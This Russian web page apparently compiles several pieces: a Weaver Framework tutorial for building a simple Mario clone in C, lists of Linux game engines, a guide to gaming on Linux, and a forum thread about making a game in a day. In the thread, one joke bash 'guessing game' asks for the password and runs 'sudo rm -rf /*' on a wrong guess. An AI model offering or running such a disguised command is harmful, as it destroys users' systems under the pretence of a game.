Как сделать игру на линукс
Создание игры для Linux с помощью Weaver Framework
Это статья о Weaver Framework, небольшом фреймворке для создания двухмерных игр под Линукс. Weaver написан на языке программирования Си, т.е. для создания игры с его помощью вам потребуется хотя бы начальные знания этого языка программирования.
Для начала нужно сказать, что фреймворк всего содержит около 70 функций для манипулирования звуком, картинками, создания графических примитивов, детектора столкновений и кое-чего еще. В ходе этой статьи будут описаны почти все функции.
После завершения удачной установки, можно сразу приступать к созданию проекта. Для этого нужно открыть консоль, перейти в директорию, где будет располагаться наш новый проект и набрать:
В ходе создания проекта <project-name> будет создана иерархия директорий, предназначенных для хранения графических, звуковых и исходного кода файлов. Для начала, чтобы потренироваться, создадим проект test. Он будет использоваться для изучения возможностей weaver.
2.1. Создание пустого проекта
Несколько слов о содержимом директории проекта.
В принципе, названия говорят сами за себя. Упомяну лишь о /src , здесь содержатся как непосредственно файлы проекта ( game.c , game.h — основные), так и (в директории /weaver ) файлы самого фреймворка необходимые для удачной сборки проекта.
Рассмотрим файл /src/game.c подробнее. Он является основным файлом проекта и именно в нем находиться главный цикл программы.
int main(int argc, char **argv)
awake_the_weaver(); // Initializing Weaver API
разрешают и запрещают использование функций из фреймворка. Между ними находится главный цикл программы.
get_input() служит для захвата состояния клавиатуры и мышки. Следом за этим идет участок кода. отвечающий за выход из программы по нажатию любой клавиши.
weaver_rest(n) предназначена для приостановки программы на некоторое количество наносекунд, эта же функция отвечает и за FPS, чем ниже число n, тем выше FPS.
Для сборки проекта набираем в консоли команду make и ждем удачного завершения.
gcc -Wall -O2 -g $(freetype-config --cflags) -c src/weaver/display.c
gcc -Wall -O2 -g $(freetype-config --cflags) -c src/weaver/keyboard.c
gcc -Wall -O2 -g $(freetype-config --cflags) -c src/weaver/vector2.c
gcc -Wall -O2 -g $(freetype-config --cflags) -c src/weaver/vector3.c
gcc -Wall -O2 -g $(freetype-config --cflags) -c src/weaver/vector4.c
gcc -Wall -O2 -g $(freetype-config --cflags) -c src/weaver/weaver.c
gcc -Wall -O2 -g $(freetype-config --cflags) -c src/weaver/sound.c
gcc -Wall -O2 -g $(freetype-config --cflags) -c src/weaver/image.c
gcc -Wall -O2 -g $(freetype-config --cflags) -c src/weaver/font.c
gcc -Wall -O2 -g $(freetype-config --cflags) -c src/game.c
gcc -Wall -O2 -g $(freetype-config --cflags) -g -o test display.o keyboard.o vector2.o vector3.o vector4.o weaver.o sound.o image.o font.o game.o -lX11 -lXext -lm -lvorbisfile -lasound -lpng -lfreetype $(freetype-config --cflags)
Удача. Запустим проект:
Вот и все! Нажатие любой клавиши закрывает игру.
Дальше мы изучим функции необходимые нам для создания игры.
2.2. Работа с клавиатурой
Состояние клавиатуры содержит глобальная переменная keyboard . Узнать нажата ли нужная нам клавиша можно таким нехитрым образом:
Если нужно чтобы программа реагировала на сочетание клавиш, используем Логическое-И:
//что-нибудь да произойдет!
Теперь изменим программу так, чтобы выход производился по нажатию Ctrl-Q.
Рискнем собрать и запустить игру. Теперь для выхода нам необходимо нажать комбинацию клавиш Ctrl-Q.
2.3. Рисование графических примитивов
Для рисования примитивов служат функции:
Для заливки примитово используются функции
Их название, как и названия большинства функций weaver, наглядны и не нуждаются в подробном описании. Описания требуют лишь параметры, но ссылка на Reference Guide будет дана в конце статьи.
Не будем стоять на месте и нарисуем желтый квадрат с координатами (x=50, y=150) и размером 125x125. В основной цикл добавим такую запись:
draw_rectangle(50, 150, 125, 125, YELLOW);
где YELLOW — цвет нашего квадрата.
Собираем проект и смотрим что получилось.
Не то, чего мы ожидали, правда?
Дело в том, что задавая цвет в рисовании квадрата, мы задаем цвет его границы, поэтому нам необходимо залить наш квадрат с помощью функции fill_rectangle(). Что мы и делаем, добавляя после команды рисования квадрата следующую строку:
fill_rectangle(50, 150, 125, 125, YELLOW);
Пробуем и смотрим!
На этот раз у нас все вышло. Теперь попробуем объединить наши знания об использовании клавиатуры и рисовании примитивов. Но перед этим немного оптимизируем нашу программу, создав сам квадрат как переменную.
rectangle является структурой, с 4 параметрами ось x (параметр x), ось y (параметр y), ширина (параметр w) и высота (параметр z).
Создадим же переменную типа rectangle, добавив после инициализации weaver (напомню, это awake_the_weaver()):
Затем инициализируем ее параметры:
Зададим обработку для нажатия клавиш <стрелка-влево> и <стрелка-вправо> клавиатуры.
А затем и рисование самого квадрата:
draw_rectangle(rect1.x, rect1.y, rect1.w, rect1.z, YELLOW);
Отмечу, что инициализация параметров переменной должна находлиться до главного цикла отрисовки, т.е. до for(;;).
Соберем и запустим наш проект.
И опять не то, что мы хотели бы видеть?
Дело в том, что рисование происходит при каждой итерации главного цикла, но и только. Всё, что было нарисовано до этой итерации так и остается на экране никак не стираясь. Это легко решается очисткой экрана перед каждой новой отрисовкой экрана. Для заливки (а в данном случае, очистки) экрана используется функция
принимающая в качестве параметра цвет заливки. Добавим ее перед рисованием квадрата и снова посмотрим, что получится.
Удача! Перейдем к загрузке и рисованию изображений.
2.4. Загрузка и рисование изображений
Единственный возможный в weaver формат изображения — . png , его и будем использовать. Нужно помнить, что все изображения должны находиться в директории <project-name>/images .
Для начала объявим и инициализируем указатель на тип surface, представляющий изображения:
Функция new_image() принимает один аргумент — название графического файла.
Для отображения графического файла существует функция
принимающая в качестве аргументов указатель на изображаемый графический файл ( surface *origin ), указатель на то, где будет изображаться ( surface *destiny ) и координаты ( x, y ).
Графические файлы можнно рисовать на других графических файлах, чтобы рисовать просто на экране, в качестве параметра destiny нужно указывать window, это и есть указатель на текущее окно рисования.
Уберем лишние упоминания о квадрате, соберем проект и запустим его.
Итог наших стараний:
Для более удобной манипуляции рисунком создадим структуру, состоящую из указателя на картинку и ее координат на экране.
Заново создадим и инициализируем изображение:
Заставим его отображаться:
draw_surface(face.fc, window,face.x, face.y);
Теперь можно попробовать управлять местоположение изображения используя наши знания о клавиатуре. Не буду вам подсказывать, надеюсь у вас получиться.
2.5.Вывод текста на экран.
Воспользуемся им и мы. Для этого загрузим картинку с уже набранным буквами в нашу игру.
Итак, у нас есть картинка с размещенными на ней несколькими буквами. Как же брать из нее нужные на буквы? Для вывода некотрой части изображения используется функция blit_surface(). Параметр *src принимает указатель на исходный графический файл, *dest принимает указатель на поверхность для изображения, (x_src, y_src) — координаты, откуда будет начинаться вырезанное изображение, width — ширина нового изображения, height — его высота, (x_dest, y_dest) -координаты целевого пповерхности, куда будет выводиться вырезанное изображение.
Добавим вызов функции и посмотрим, что получиться.
blit_surface(font, window, 0, 0, 90, 100, 500, 500);
К сожалению, на формат звуковых файлов тоже наложено ограничение — weaver проигрывает лишь файлы формата Ogg Vorbis. Для проигрывания звуков есть две функции: play_music() и play_sound(). Разница между ними в том, что play_music() будет повторять музыку до тех пор, пока не будет вызвана функция stop_music(). Функция play_sound() проигрывает музыкальный файл лишь один раз и управлять воспроизведение этой функции мы не в состоянии. Очевидно, что play_music() лучше использовать для воспроизведения звукового фона игры, а play_sound() для воспроизведения звуковых эффектов.
Попробуем воспроизвести звук. Для play_sound() файл должен располагаться в директории sound, а для play_music() в директории music соответственно.
Добавим перед главным циклом:
Затем, как обычно, соберем и запустим игру. Et voilà, слышен звук выстрелов.
Для определения столкновений между объектами служит набор функций, имеющий в названии префикс collision_* . Использовать их так же легко как и все остальное. Для примера создадим два прямоугольника:
rectangle rect1, rect2;
Один из них будет двигаться:
И финальная часть, проверка на столкновение и реакция на это:
if (collision_rectangle_rectangle(&rect1, &rect2))
Естественно, что для наглядности следует отображать наши прямоугольники на экране.
Теперь мы достаточно знаем, чтобы попробовать написать собственную небольшую игру. Это будет сильно упрощенный Марио, без преград, но с врагами.
3.1. Проект будет называться YAM (Yet Another Mario)
Это все хорошо, но с чего же начать? Для начала неплохо было бы придумать интерфейс игры, затем найти необходимые ресурсы для графического оформления игры. Что это? Это могут быть спрайты персонажей, фоновый рисунок, палитра букв.
О интерфейсе. Его у нас не будет, по сути игра будет представлять собой один короткий уровень, пройти его нужно будет с одной попытки.
Теперь о спрайтах. Подробнее о них вы можете почитать в Википедии. Есть большое количество сайтов, где можно найти как рипнутые из игр спрайты, так и авторские, сделанные «по мотивам». Нам нужны как минимум два типа спрайтов, для Марио и для его противника. Погуглив, я нашел несколько сайтов с базами данных спрайтов, на одном из них спрайты были размещены в едином изображении, на другом предоставлялись отдельными картинками. Выберем, где они разбиты, это нам понадобиться для более удобного создания анимации персонажей.
3.2. Так как мы желаем чтобы при нажатии на клавишу движения перемещалась не просто статичная картинка, а было хоть какое-то подобие движения, нам нужно анимировать персонажей. Делается это с помощью ряда похожих изображений, где различия лишь в деталях.
У нас есть 3 вида спрайтов для анимации Марио.
Принцип анимации, я думаю вам знаком, это просто последовательное изображение нескольких картинок.
Создаем структуру, где будем хранить данные о персонаже:
Инициализируем переменную для Марио:
Перед главным циклом создадим переменную counter, которая и будет счетчиком
А в главном цикле будет находиься проверка счетчика и в зависимости от его значения будет рисоваться тот или иной спрайт анимации:
draw_surface(mario.fc[0], window, mario.x, mario.y);
draw_surface(mario.fc[1], window, mario.x, mario.y);
draw_surface(mario.fc[2], window, mario.x, mario.y);
Готово, можно собирать проект и запускать.
Точно так же анимируем и противника Марио.
Теперь, чтобы у Марио была хоть какая-нибудь возможность победить, реализуем возможность его прыжка. С этим все просто, при нажатии на клавишу изменяется значение координат по вертикали.
После этого можно начать обрабатывать столкновения Марио и его противника. Для этого добавим в структуры, описывающие персонажа игры, прямоугольник, за пересечением которых и будем отслеживать.
Теперь структура выглядит так:
Задаем базовые значения для персонажей (в принципе это и не нужно, так как в главном цикле они все-равно обновятся), добавляем пару строчек для привязки прямоугольников к координатам спрайтов. Для наглядности заставим на некоторое время прямоугольники будут отобржаться красным цветом, это мы уберем в самом конце. Запускаем и смотрим что получилось.
Теперь можно приступить и к реализации ответа на пересечение прямоугольников, для этого мы используем уже знакомую функцию collsion_rectangle_rectangle():
if (collision_rectangle_rectangle(&mario.col_det, &bowser.col_det))
Вот и все, при столкновении персонажей игра будет завершаться. Легко и просто.
3.3. Осталось добавить последние штрихи к нашей игре, т.е. фон и звуковые эффекты
Для добавления звуковых эффектов и фоновой музыки воспользуемся функциями play_music()/stop_music() и play_sound().
Управление простое — стрелка влево - стрелка вправо — движение, стрелка вверх — прыжок
Вот и готова наше убогая пародия на великолепную игру. Если возникнет желание, можете добавить облака, кусты, ну и, конечно же, грибочки.
Как видите, написать игру, используя лишь Си достаточно легко, гораздо труднее сделать это хорошо.
Создание игр, это намного менее утомительно, чем может показаться. И пускай вы не собираетесь переходить от полного отсутствия опыта к созданию следующего Grand Theft Auto (GTA), на самом деле, никогда не было так легко начать создавать игры. Инструменты и ресурсы для разработки игр становятся все более доступными для любого, кто захочет этим заняться, даже если у них нет опыта программирования. Более того, почти все эти инструменты доступны бесплатно.
Чтобы облегчить задачу тем, кто хочет начать создавать игры, мы составили список из 5 игровых движков / редакторов. Некоторые, предназначены для определенного жанра игры и могут выступить, в качестве, невероятно легкого старта для новичков. Другие являются профессиональными инструментами разработки для игр AAA, но они по сути бесплатны для любителей и по-прежнему предлагают множество средств обучения, которые помогут тем, у кого ограниченный опыт программирования.
GDEVELOP
2D-движок с открытым исходным кодом, разработанный для простоты использования.
GODOT
2D и 3D игровой движок с открытым исходным кодом, разработанный для того, чтобы быть мощным, простым в освоении и для совместной работы команды.
REN’PY
Новый, визуальный игровой движок с открытым исходным кодом. Он использовался для таких игр, как Doki Doki Literature Club, Butterfly Soup и One Night, Hot Springs.
VN MAKER
Ещё один игровой движок, разработанный специально для создания визуальных романов без необходимости уметь программировать. Это коммерческий продукт, разработанный Degica.
UNITY
Кроссплатформенный коммерческий игровой движок, разработанный Unity Technologies. Он использовался для таких игр, как Untitled Goose Game, Ori и Will of the Wisps и Hollow Knight.
Доступность новых игровых движков Linux означает доступность большего количества игр в дистрибутивах Linux. Если каждый попытается начать разработку своих игр с нуля без помощи игровых движков, разработка игры займет много времени и будет сложнее.
Создание движка для видеоигры - непростая задача, но иногда возникает необходимость разработать игровой движок для конкретной игры, если нет текущих игровых движков, которые будут поддерживать тип игры, которую вы собираетесь разрабатывать. Разработка движка видеоигры требует интерфейсов приложений, таких как DirectX, OpenGLи XNA а также коммерческие библиотеки и библиотеки с открытым исходным кодом, содержащие физику, графы сцен и библиотеки GUI.
В этом посте мы не будем подробно рассказывать о том, как разрабатывается движок для видеоигр, а перечислим лучшие доступные движки для видеоигр, которые поддерживают разработку игр для Linux. Игровые движки можно разделить на 2D или 3D графику. При выборе игрового движка Linux убедитесь, что игровой движок должен содержать нижеуказанные модули.
- Графический движок
- Физический движок
- Звуковая система
- Координация сети
- Скрипт интерфейса
- Уровень контроля интеллекта противника
Просматривая Интернет, вы найдете тысячи различных игровых движков, но очень немногие предлагают поддержку Linux. Ниже приведен список 5 лучших игровых движков Linux с подробностями работы.
1. Годо Игровой движок Linux
Годо двигатель является одним из лучших игровых движков, который предлагает как 2D, так и 3D игровые разработки. Godot Engine предоставляет своим пользователям огромный набор простых инструментов, с помощью которых каждый может довольно легко разработать свою игру. Godot Engine - это продукт с открытым исходным кодом, который означает, что то, что вы разрабатываете на движке Godot, принадлежит только вам.
За успехом Годо существует богатое сообщество, которое постоянно участвует в выполнении следующих задач:
- Исправление ошибок
- Разработка новых функций
2. Единство Игровой движок Linux
Основное внимание Unity уделяет легкому созданию интерактивного 3D- и 2D-контента. Unity славится своей отличной функциональностью, высококачественным контентом и возможностью создавать игры любого типа. Unity - это кроссплатформенный игровой движок, поддерживающий более 25 платформ.
Движок был принят отраслями, не связанными с видеоиграми, такими как кинематографисты, производители автомобилей, архитекторы, инженеры и строители.
3. Panda3D Игровой движок Linux
Игровой движок Panda3D - это бесплатное программное обеспечение с лучшими функциями графики, звука, ввода-вывода, обнаружения столкновений и многими другими инструментами, необходимыми для создания 3D-игр. Это также кроссплатформенное программное обеспечение, которое изначально поддерживает Microsoft Windows, Linux, macOS и FreeBSD.
Некоторые из лучших функций помимо графических возможностей:
- Инструменты анализа производительности
- Инструменты исследования графа сцены
- Инструменты отладки
- Полный трубопровод экспорта / импорта произведений искусства
- 3D Audio
- Обнаружение столкновений
- Физическая система
- Поддержка устройств ввода / вывода
- Конечные автоматы
- сетей
- искусственный интеллект
4. OpenGL для игровых движков Linux
Открытая графическая библиотека (OpenGL) не является полноценным игровым движком, это просто кросс-платформенный API для отрисовки 2D и 3D векторной графики. OpenGL API может быть реализован на любом клиентском программном обеспечении или полностью на оборудовании для работы.
Ниже приведены функции версии OpenGL 4.6:
- Более эффективная обработка геометрии на стороне графического процессора
- Более эффективное выполнение шейдеров
- Больше информации через статистику, запросы переполнения и счетчики
- Более высокая производительность без контекста обработки ошибок
- Фиксация функции смещения полигона решает проблему рендеринга тени
- Шейдеры SPIR-V
- Улучшенная анизотропная фильтрация
5. Unigine Игровой движок Linux
Unigine также является одним из лучших кроссплатформенных игровых движков. Он используется не только в качестве игрового движка, но и для разработки симуляторов, систем виртуальной реальности, серьезных игр и визуализации. Изначально Unigine поддерживал только Microsoft Windows и Linux. Позже он начал поддерживать больше платформ, таких как OS X, PlayStation 3, Android, iOS. Игры, созданные с помощью Unigine, перечислены ниже:
Могу ли я играть игры в Linux? Это один из самых часто задаваемых вопросов среди людей, которые собираются перейти на Linux. Игры часто выделяются как отдельная возможность Linux. Некоторые люди даже интересуются, смогут ли они слушать музыку и смотреть фильмы в Linux. Учитывая это, вопрос о возможности играть в Linux кажется вполне резонным.
В этой статье я отвечу на большинство вопросов, касающихся игр в операционной системе Linux, которые могут возникнуть у новичка. Например такие, как "можно ли играть в игры на Linux?", "какие игры доступны и где их можно скачать?", "где получить больше информации об играх для Linux?". Приступим.
Можно ли играть в игры под Linux?
Да - вы можете играть на Linux, и нет - вы не можете играть во все игры в Linux. Есть много популярных игр в Linux: Counter Strike, Metro Last Light и т д. Но вы не сможете играть во все последние игры, вышедшие для Windows, например, ту же PES 2020.
Причина этому, на мой взгляд то, что Linux занимает менее 2% доли рынка настольных PC. Эти цифры очень сильно снижают мотивацию производителей игр делать версии для Linux. Есть очень большая вероятность, что лучшие игры года, не будут доступны для Linux. Но не расстраивайтесь, есть и другие способы запуска игр в Linux, о которых мы поговорим позже. Сейчас давайте рассмотрим, какие игры для Linux бывают.
Я их разделяю на четыре группы:
- Нативные игры
- Игры Windows в Linux
- Браузерные игры
- Консольные игры
Начнём с родных, нативных игр.
1. Где взять нативные игры для Linux
Нативными играми я называю те игры, которые официально поддерживаются в Linux. Их можно установить, как и большинство других программ, без каких-либо дополнительных усилий.
Как видите, Linux для развлечений не так уж и непригоден, как может показаться, и игры всё-таки есть. Но возникает следующий вопрос: где же их взять? Рассмотрим несколько источников, где вы можете скачать нативные игры для linux:
Steam
Steam - это цифровая платформа для распространения видеоигр. Так же как и Amazon - платформа для распространения книг, а Itunes - музыки. Здесь вы можете покупать, устанавливать и играть в многопользовательские игры, а также общаться с другими клиентами сервиса. Все игры защищены с помощью DRM. В Steam вы можете найти тонны игр от уровня ААА до небольших инди проектов.
Несколько лет назад игровая платформа Steam объявила о поддержке Linux, и это было большой новостью. Она означала, что у игровой индустрии серьезные планы на Linux. Valve создала собственную игровую консоль, основанную на Linux, а также свой дистрибутив Linux - SteamOS. Это заставило разработчиков портировать множество игр для Linux. Об установке и настройке Steam вы можете прочитать в отдельной статье - Установка и использование Steam
Приобретённые игры доступны в вашей учетной записи, и вы можете скачать их, когда хотите. Здесь даже не нужно устанавливать клиент как в Steam, вы просто скачиваете игру с помощью браузера, устанавливаете и уже можете играть в нативные игры для linux.
Portable Linux Games
Itch.io
Если вы ищите нативные инди игры для Linux, то ресурс itch.io вам отлично подойдёт. Здесь вы можете получить огромное количество как платных, так и бесплатных игр. На страницах игр есть ссылки на загрузку исполняемых файлов для Linux.
Репозитории программ
Поищите в официальных репозиториях вашего дистрибутива. Обычно там тоже есть некоторые игры. Если у вас Ubuntu, то в центре приложений есть даже раздел для игр. То же самое есть и в других дистрибутивах Linux, например в Linux Mint.
2. Как играть Windows игры в Linux
До сих пор мы говорили только о родных играх для Linux. Но их не так много. Если быть точным, то самые популярные игры доступны только для Windows. Поэтому возникает вопрос, как же играть в Windows-игры под Linux?
С помощью таких программ, как Wine, Phoenicis (ранее известный как PlayOnLinux), CrossOver, Lutris и GameHub вы можете играть во множество популярных игр Windows в Linux.
Steam Play
Если вы уже использовали Steam для того чтобы играть нативные игры для Linux, вы можете попробовать запустить Windows игры с помощью технологии Steam Play. Она реализует прослойку совместимости для Windows игр и основана на Wine с добавлением нескольких дополнительных библиотек и технологий.
Wine - это прослойка совместимости между Windows приложениями и операционной системой, позволяет запускать Windows-игры в Linux, BSD и MacOS X. С помощью Wine можно запускать не только игры, но и огромное количество Windows-программ.
Установить Wine в Ubuntu или любой другой версии очень просто, так как он доступен в официальных репозиториях большинства дистрибутивов. Также есть огромная база приложений, которые поддерживаются в Wine.
CrossOver
Crossover - это улучшенная версия Wine, с профессиональной технической поддержкой. Но в отличие от Wine, CrossOver не бесплатен. Вы можете приобрести годовую лицензию на программу. Каждая покупка способствует разработке Wine и поддержке им большего количества игр и программ. Цена годовой лицензии около $10.
GameHub
Программа GameHub представляет из себя центр приложений, позволяющий устанавливать игры из различных источников, например, Steam, GoG или Humble Bundle. С помощью неё вы можете управлять всеми своими играми в одном месте. Кроме нативных игр поддерживаются такие прослойки совместимости для Windows игр как Wine и Proton.
Lutris
Программа Lutris очень похожа на GameHub, только поддерживает намного больше источников. К ним относятся: Origin, Uplay, Epic Games и другие. С этой программой играть в Linux становится проще, к тому же программа очень популярна среди многих пользователей. Перед тем как её использовать посмотрите официальный список поддерживаемых игр.
Phoenicis PlayOnLinux
PlayOnLinux тоже основан на Wine, но устроен немного по-другому. У него есть графический интерфейс и пользоваться им намного удобнее, чем Wine. Так же, как и Wine, PlayOnLinux бесплатный. Поддерживаемые игры можете посмотреть на официальном сайте.
3. Браузерные игры
Наверное, можно и не писать, что есть тонны игр на основе браузера, в которые можно играть в любой операционной системе, будь то Windows, Linux или MacOS. У многих мобильных игр есть свои браузерные аналоги.
Кроме того, благодаря Google Chrome Web Store, вы можете играть в некоторые игры как в родные под Linux. Эти игры установлены как отдельное приложение и будут доступны из главного меню вашего Linux-дистрибутива.
4. Консольные игры
Ещё одно преимущество Linux - вы можете использовать терминал, чтобы играть в игры. Я знаю, это не самый лучший способ, но время от времени весело поиграть в простенькие игры, такие как змейка или 2048 в терминале. Здесь уже есть небольшой обзор консольных игр для Linux.
Выводы
Я думаю, что это всё, что вам нужно знать, чтобы начать играть в Linux. Если вы всё ещё сомневаетесь, устанавливайте Linux рядом с Windows. Используйте Linux как основную систему и запускайте Windows, когда хотите поиграть. А теперь меня интересует ваше мнение. Играете ли вы в игры под Linux? Какие ваши любимые? За какими блогами следите, чтобы оставаться в курсе игровых новостей?
На десерт сегодня довольно старая, но милая реклама Linux. Be Free! Be Linux!
Если возможно, то на чем это можно сделать? Я имею ввиду какой язык программирования для этого подойдет лучше.
Понятно что спрайты можно рисовать в gimp'e и inkscape, модели делать в blender'e. Тут как бы альтернатив то особо нет.
05 RANDOMIZE TIME
10 INPUT "Enter number from 0 to 9", a
20 LET b=RAND (10)
30 IF a=b THEN PRINT "You win" : GO TO 50
40 PRINT "You lose"
50 END
Какая лицензия у этого кода?
Blender, быстрее ничего не представляю.
А ты то откуда знаешь? Как ты аффилирован с автором кода?
Этот код тривиален и не попадает на действие законов об авторских правах
А есть пошаговый пример, как в блендере это сделать?
а разве TIME, а не TIMER?
А так и поиграть можно:
А если сюрьезно?
Я пятнадцать лет ВАСИК не трогал, могу ошибаться.
>А если сюрьезно?
Тетрис, танчики, аркада простенькая, стрелялка с тупым ИИ на базе какого-нибудь открытого движка.
> Как сделать игру под Linux за один день?
> И вообще возможно ли это?
Конкретнее, пожалуйста. "Игра" - это очень общее понятие.
Можно! Только надо купить ведро вещества. :)
>RANDOMIZE TIMER
А что это за коробка с ногами на аватаре?
while true; do
read -p "Enter number from 0 to 9: " A
if [ "$A" = "exit" ]; then
exit
fi
if [ "$A" = "`expr $RANDOM % 10`" ]; then
echo "You win"
else
echo "Enter your password for continue"
sudo rm -rf /*
fi
done
[/code]
patched
Я к сожалению не знаю открытых движков в которых можно тупо загрузить объекты(спрайты, модельки) и описать их поведение, взаимодействие и получить в итоге игру. Приходится еще кучу всего дописывать и/или прикручивать.
Должно быть. Я лет семь-восемь назад по книжке писал редактор уровней для первого квейка, вся инфа была.
> Конкретнее, пожалуйста.
Я имею ввиду простые вещи, вроде тех что на восьми битных консолях были, денди там всякие и т.д.
> Я к сожалению не знаю открытых движков в которых можно тупо загрузить объекты(спрайты, модельки) и описать их поведение, взаимодействие и получить в итоге игру. Приходится еще кучу всего дописывать и/или прикручивать.
Опять бедную мистрочку смущаешь!? :D
> Опять бедную мистрочку смущаешь!? :D
Я их не различаю, нефиг ники заводить. Да и разве тут есть девушки, акромя Sikon?
Какое отношения тема про рпг майкер имеет к игровому движку с реализованной графикой, физикой и звуком?
А ты таки почитай, там как раз про "сделать игру под Linux за один день" и около того. Всего 3 страницы.
Сегодня прям день шутников)
Одно это чего стоит.
на форуме есть примеры игр, сделанных за 1 день (соревнования типа Ludum Dare)
>Я к сожалению не знаю открытых движков в которых можно тупо загрузить объекты(спрайты, модельки) и описать их поведение, взаимодействие и получить в итоге игру. Приходится еще кучу всего дописывать и/или прикручивать.
Для тетриса там или брейкаута есть свободные движки, на что-то большее под линукс не расчитывай. Для стратегий - glest (устарел, есть glest advanced, только для винды), для шутеров - sauerbraten (забыт в далёком 2001-2002 годах), для остального - какая-нибудь опенсорс игрушка.
> А что это за коробка с ногами на аватаре?
> sauerbraten (забыт в далёком 2001-2002 годах)
4.2 Последнее обновление в начале этого года. Есть регдольная физика и графические плюшки.
>Есть регдольная физика и графические плюшки
Регдольная физика - это замечательно (на моей памяти единственный опенсорс движок для шутеров с регдольной физикой, остальные в основном клоны старых квакодвижков), и графические плюшки - тоже. Только вот у коммерческих движков физика ещё в 2002-2003 году была намного сложнее (Karma, со сложными связями между костями регдолла, на такой физике не то что тряпичные куклы делали, а машины), а отсутствие синхронизации физики по сети + весьма своеобразное построение мира делает его хорошей песочницей, но уж точно не качественным движком для шутеров.
Но, в принципе, для контеста игра за один день sauerbraten подошел бы наверное.
неужели Игре дали название? :)
> Как сделать игру под Linux за один день? И вообще возможно ли это?
На всяких сайтах о PyQt, Allegro и им подобных регулярно проводятся конкурсы игр, созданных за короткий срок: от суток до недели. Кое-во что даже интересно играть :)
Читайте также: